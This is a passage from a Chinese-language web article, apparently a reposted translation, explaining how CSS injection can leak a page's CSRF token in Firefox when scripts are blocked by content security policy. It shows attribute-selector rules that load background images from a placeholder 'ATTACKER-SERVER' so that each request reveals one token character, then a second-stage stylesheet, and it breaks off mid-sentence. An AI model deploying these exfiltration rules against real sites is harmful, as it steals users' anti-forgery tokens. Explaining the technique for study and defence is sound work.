千家信息网

怎么利用单一注入点从Firefox浏览器中提取CSS数据

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,这篇文章主要介绍了怎么利用单一注入点从Firefox浏览器中提取CSS数据,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。基础技术和现有
千家信息网最后更新 2025年01月20日怎么利用单一注入点从Firefox浏览器中提取CSS数据

这篇文章主要介绍了怎么利用单一注入点从Firefox浏览器中提取CSS数据,具有一定借鉴价值,感兴趣的朋友可以参考下,希望大家阅读完这篇文章之后大有收获,下面让小编带着大家一起了解一下。

基础技术和现有技术

在我们的演示样例中,假设我们想获取元素中的CSRF令牌:

可能是由于内容安全策略的原因,这里我们无法使用脚本来实现这个目的,因此我们尝试寻找基于样式的注入点。一般来说,我们会选择使用属性选择器:

input[name='csrftoken'][value^='a'] {  background: url(//ATTACKER-SERVER/leak/a);}input[name='csrftoken'][value^='b'] {  background: url(//ATTACKER-SERVER/leak/b);}...input[name='csrftoken'][value^='z'] {  background: url(//ATTACKER-SERVER/leak/z);}

如果这里部署了CSS规则,那么攻击者就可以获取一个HTTP请求,然后提取令牌的第一个字符。接下来,攻击者需要准备另一个样式表,其中需要包含已窃取的第一个字符:

input[name='csrftoken'][value^='aa'] {  background: url(//ATTACKER-SERVER/leak/aa);}input[name='csrftoken'][value^='ab'] {  background: url(//ATTACKER-SERVER/leak/ab);}...input[name='csrftoken'][value^='az'] {  background: url(//ATTACKER-SERVER/leak/az);}

此时,攻击者需要重新加载目标页面中的